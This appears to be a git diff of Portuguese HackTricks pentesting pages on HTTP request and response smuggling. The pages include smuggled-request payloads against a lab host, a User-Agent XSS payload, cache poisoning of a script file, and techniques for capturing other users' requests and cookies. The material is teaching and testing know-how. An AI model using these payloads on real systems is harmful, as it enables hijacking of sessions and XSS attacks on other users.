Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazendo com que uma solicitação para `/` resulte em uma resposta 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Exemplos Básicos](./#basic-examples) demonstram como envenenar a solicitação de um cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente.
|
||||||
|
|
||||||
**Considerações Importantes**
|
**Considerações Importantes**
|
||||||
|
|
||||||
Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente:
|
Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente:
|
||||||
|
|
||||||
* **Conexões de Rede Distintas:** As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
|
* **Conexões de Rede Distintas:** As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
|
||||||
* **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base em URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
|
* **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base no URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
|
||||||
* **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", concorre com outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
|
* **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", concorre com outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
|
||||||
* **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
|
* **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
|
||||||
* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.
|
* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" enviada para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.
|
||||||
|
|
||||||
|
|
||||||
## Abusando do HTTP Request Smuggling
|
## Abusando do HTTP Request Smuggling
|
||||||
|
@ -284,11 +284,11 @@ a=x
|
||||||
0
|
0
|
||||||
|
|
||||||
```
|
```
|
||||||
Por outro lado, no ataque TE.CL, o pedido `POST` inicial usa `Transfer-Encoding: chunked`, e o pedido incorporado subsequente é processado com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora o pedido `GET /admin` contrabandeado, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
|
Por outro lado, no ataque TE.CL, a solicitação `POST` inicial usa `Transfer-Encoding: chunked`, e a solicitação incorporada subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora a solicitação `GET /admin` contrabandeada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
|
||||||
|
|
||||||
### Revelando a reescrita de solicitação de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
### Revelando a reescrita de solicitação de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||||
|
|
||||||
As aplicações frequentemente empregam um **servidor de front-end** para modificar solicitações recebidas antes de enviá-las ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: <IP do cliente>`, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de **burlar proteções** ou **descobrir informações ou endpoints ocultos**.
|
As aplicações frequentemente empregam um **servidor de front-end** para modificar as solicitações recebidas antes de enviá-las ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: <IP do cliente>`, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de **burlar proteções** ou **descobrir informações ou endpoints ocultos**.
|
||||||
|
|
||||||
Para investigar como um proxy altera uma solicitação, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, crie uma solicitação, usando este parâmetro por último, semelhante ao seguinte:
|
Para investigar como um proxy altera uma solicitação, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, crie uma solicitação, usando este parâmetro por último, semelhante ao seguinte:
|
||||||
```
|
```
|
||||||
|
@ -309,7 +309,7 @@ search=
|
||||||
```
|
```
|
||||||
Nesta estrutura, os componentes de solicitação subsequentes são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.
|
Nesta estrutura, os componentes de solicitação subsequentes são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.
|
||||||
|
|
||||||
É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.
|
É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e aumentar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.
|
||||||
|
|
||||||
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
|
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
|
||||||
|
|
||||||
|
@ -345,14 +345,14 @@ No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas
|
||||||
|
|
||||||
Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
|
Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
|
||||||
|
|
||||||
### Usando contrabando de solicitação HTTP para explorar XSS refletido
|
### Usando o contrabando de solicitação HTTP para explorar XSS refletido
|
||||||
|
|
||||||
O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas:
|
O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas:
|
||||||
|
|
||||||
* A interação com os usuários-alvo **não é necessária**.
|
* A interação com os usuários-alvo **não é necessária**.
|
||||||
* Permite a exploração de XSS em partes da solicitação que são **normalmente inacessíveis**, como os cabeçalhos de solicitação HTTP.
|
* Permite a exploração de XSS em partes da solicitação que são **normalmente inatingíveis**, como cabeçalhos de solicitação HTTP.
|
||||||
|
|
||||||
Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a carga útil a seguir demonstra como explorar essa vulnerabilidade:
|
Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a seguinte carga útil demonstra como explorar essa vulnerabilidade:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||||
|
@ -377,9 +377,9 @@ Este payload é estruturado para explorar a vulnerabilidade através de:
|
||||||
|
|
||||||
1. Iniciar uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
|
1. Iniciar uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
|
||||||
2. Seguir com um `0`, marcando o fim do corpo da mensagem chunked.
|
2. Seguir com um `0`, marcando o fim do corpo da mensagem chunked.
|
||||||
3. Em seguida, é introduzida uma solicitação `GET` smuggled, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, acionando o XSS quando o servidor processa essa solicitação subsequente.
|
3. Em seguida, é introduzida uma solicitação `GET` contrabandeada, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, desencadeando o XSS quando o servidor processa essa solicitação subsequente.
|
||||||
|
|
||||||
Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não convencional, mas eficaz.
|
Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não padrão, mas eficaz.
|
||||||
|
|
||||||
### Usando o HTTP request smuggling para transformar um redirecionamento no local em um redirecionamento aberto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
### Usando o HTTP request smuggling para transformar um redirecionamento no local em um redirecionamento aberto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||||
|
|
||||||
|
@ -449,9 +449,9 @@ Content-Length: 10
|
||||||
|
|
||||||
x=1
|
x=1
|
||||||
```
|
```
|
||||||
Observe a solicitação incorporada direcionada para `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento no local para redirecionamento aberto**).
|
Observe a solicitação incorporada direcionada para `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento interno para redirecionamento aberto**).
|
||||||
|
|
||||||
Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento no local para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
|
Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento interno para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
|
||||||
|
|
||||||
Posteriormente, qualquer solicitação para `/static/include.js` servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS.
|
Posteriormente, qualquer solicitação para `/static/include.js` servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS.
|
||||||
|
|
||||||
|
@ -460,7 +460,7 @@ Posteriormente, qualquer solicitação para `/static/include.js` servirá o cont
|
||||||
|
|
||||||
> **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?**
|
> **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?**
|
||||||
>
|
>
|
||||||
> * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido a partir do cache para outros usuários da aplicação.
|
> * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
|
||||||
> * Na **decepção de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
|
> * Na **decepção de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
|
||||||
|
|
||||||
O atacante elabora uma solicitação contrabandeada que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir:
|
O atacante elabora uma solicitação contrabandeada que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir:
|
||||||
|
@ -577,7 +577,7 @@ table.add(req)
|
||||||
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de requisição.
|
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de solicitação.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -591,14 +591,14 @@ table.add(req)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -25,7 +25,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,19 +4,18 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**A técnica deste post foi retirada do vídeo: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)**
|
**A técnica deste post foi retirada do vídeo: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)**
|
||||||
|
|
||||||
|
|
||||||
## Dessincronização da Fila de Requisições HTTP
|
## Dessincronização da Fila de Requisições HTTP
|
||||||
|
|
||||||
Em primeiro lugar, essa técnica **abusa de uma vulnerabilidade de Smuggling de Requisições HTTP**, então você precisa saber o que é isso:
|
Em primeiro lugar, essa técnica **abusa de uma vulnerabilidade de Smuggling de Requisições HTTP**, então você precisa saber o que é isso:
|
||||||
|
@ -31,25 +30,19 @@ O HTTP/1.1 permite solicitar **recursos diferentes sem precisar esperar pelos an
|
||||||
|
|
||||||
No entanto, há um problema de dessincronização da fila de respostas. Se um atacante enviar um ataque de Smuggling de Resposta HTTP e as respostas para a **requisição inicial e a contrabandeada forem respondidas imediatamente**, a resposta contrabandeada não será inserida na fila da resposta da vítima, mas será **simplesmente descartada como um erro**.
|
No entanto, há um problema de dessincronização da fila de respostas. Se um atacante enviar um ataque de Smuggling de Resposta HTTP e as respostas para a **requisição inicial e a contrabandeada forem respondidas imediatamente**, a resposta contrabandeada não será inserida na fila da resposta da vítima, mas será **simplesmente descartada como um erro**.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (635) (1) (1) (1).png>)
|
|
||||||
|
|
||||||
Portanto, é necessário que a **requisição contrabandeada leve mais tempo para ser processada** no servidor backend. Portanto, quando a requisição contrabandeada for processada, a comunicação com o atacante terá terminado.
|
Portanto, é necessário que a **requisição contrabandeada leve mais tempo para ser processada** no servidor backend. Portanto, quando a requisição contrabandeada for processada, a comunicação com o atacante terá terminado.
|
||||||
|
|
||||||
Se, nessa situação específica, uma **vítima enviar uma requisição** e a **requisição contrabandeada for respondida antes** da requisição legítima, a **resposta contrabandeada será enviada à vítima**. Portanto, o atacante estará **controlando a requisição "realizada" pela vítima**.
|
Se, nessa situação específica, uma **vítima enviar uma requisição** e a **requisição contrabandeada for respondida antes** da requisição legítima, a **resposta contrabandeada será enviada à vítima**. Portanto, o atacante estará **controlando a requisição "realizada" pela vítima**.
|
||||||
|
|
||||||
Além disso, se o **atacante então realizar uma requisição** e a **resposta legítima** à **requisição da vítima for respondida** **antes** da requisição do atacante. A **resposta à vítima será enviada ao atacante**, **roubando** a resposta da vítima (que pode conter, por exemplo, o cabeçalho **Set-Cookie**).
|
Além disso, se o **atacante então realizar uma requisição** e a **resposta legítima** à **requisição da vítima for respondida** **antes** da requisição do atacante. A **resposta à vítima será enviada ao atacante**, **roubando** a resposta da vítima (que pode conter, por exemplo, o cabeçalho **Set-Cookie**).
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (658) (1).png>)
|
### Injeções Aninhadas Múltiplas
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (655) (1) (1) (1).png>)
|
Outra **diferença interessante** com o Smuggling de Requisições HTTP comum é que, em um ataque de contrabando comum, o **objetivo** é **modificar o início da requisição da vítima** para que ela execute uma ação inesperada. Em um **ataque de contrabando de resposta HTTP**, como você está **enviando requisições completas**, você pode **injetar em uma carga útil dezenas de respostas** que irão **dessincronizar dezenas de usuários** que estarão **recebendo** as **respostas injetadas**.
|
||||||
|
|
||||||
### Múltiplas Injeções Aninhadas
|
|
||||||
|
|
||||||
Outra **diferença interessante** com o **Smuggling de Requisições HTTP** comum é que, em um ataque de contrabando comum, o **objetivo** é **modificar o início da requisição da vítima** para que ela execute uma ação inesperada. Em um **ataque de contrabando de resposta HTTP**, como você está **enviando requisições completas**, você pode **injetar em uma carga útil dezenas de respostas** que irão **dessincronizar dezenas de usuários** que estarão **recebendo** as **respostas** **injetadas**.
|
|
||||||
|
|
||||||
Além de poder **distribuir mais facilmente dezenas de exploits** entre usuários legítimos, isso também poderia ser usado para causar um **DoS** no servidor.
|
Além de poder **distribuir mais facilmente dezenas de exploits** entre usuários legítimos, isso também poderia ser usado para causar um **DoS** no servidor.
|
||||||
|
|
||||||
### Organização do Exploit
|
### Organização de Exploits
|
||||||
|
|
||||||
Como explicado anteriormente, para abusar dessa técnica, é necessário que a **primeira mensagem contrabandeada** no servidor **leve muito tempo para ser processada**.
|
Como explicado anteriormente, para abusar dessa técnica, é necessário que a **primeira mensagem contrabandeada** no servidor **leve muito tempo para ser processada**.
|
||||||
|
|
||||||
|
@ -61,17 +54,13 @@ Primeiro, a **requisição inicial abusando do Smuggling de Requisições HTTP**
|
||||||
|
|
||||||
### Capturando requisições de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
### Capturando requisições de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||||
|
|
||||||
Assim como nos payloads conhecidos de Smuggling de Requisições HTTP, você pode **roubar a requisição da vítima** com uma diferença importante: Neste caso, você só precisa que o **conteúdo enviado seja refletido na resposta**, **nenhum armazenamento persistente** é necessário.
|
Assim como com os payloads conhecidos de Smuggling de Requisições HTTP, você pode **roubar a requisição da vítima** com uma diferença importante: Neste caso, você só precisa que o **conteúdo enviado seja refletido na resposta**, **nenhum armazenamento persistente** é necessário.
|
||||||
|
|
||||||
Primeiro, o atacante envia uma carga útil contendo uma **requisição POST final com o parâmetro refletido** no final e um grande Content-Length
|
Primeiro, o atacante envia uma carga útil contendo uma **requisição POST final com o parâmetro refletido** no final e um grande Content-Length
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (625).png>)
|
Depois, uma vez que a **requisição inicial** (azul) foi **processada** e **enquanto** a **sonolenta** está sendo processada (amarela), a **próxima requisição que chega de uma vítima** será **anexada na fila logo após o parâmetro refletido**:
|
||||||
|
|
||||||
Então, uma vez que a **requisição inicial** (azul) foi **processada** e **enquanto** a **dorminhoca** está sendo processada (amarela), a **próxima requisição que chega de uma vítima** será **anexada na fila logo após o parâmetro refletido**:
|
Então, a **vítima** irá **receber** a **resposta à requisição sonolenta** e se, nesse meio tempo, o **atacante enviar outra requisição**, a **resposta da requisição de conteúdo refletido será enviada para ele**.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (634) (1).png>)
|
|
||||||
|
|
||||||
Então, a **vítima** irá **receber** a **resposta à requisição dorminhoca** e se, nesse meio tempo, o **atacante** **enviar** **outra** **requisição**, a **resposta da requisição de conteúdo refletido será enviada para ele**.
|
|
||||||
|
|
||||||
## Dessincronização de Respostas
|
## Dessincronização de Respostas
|
||||||
|
|
||||||
|
@ -81,45 +70,31 @@ Mas ainda é possível **dessincronizar ainda mais** as respostas.
|
||||||
|
|
||||||
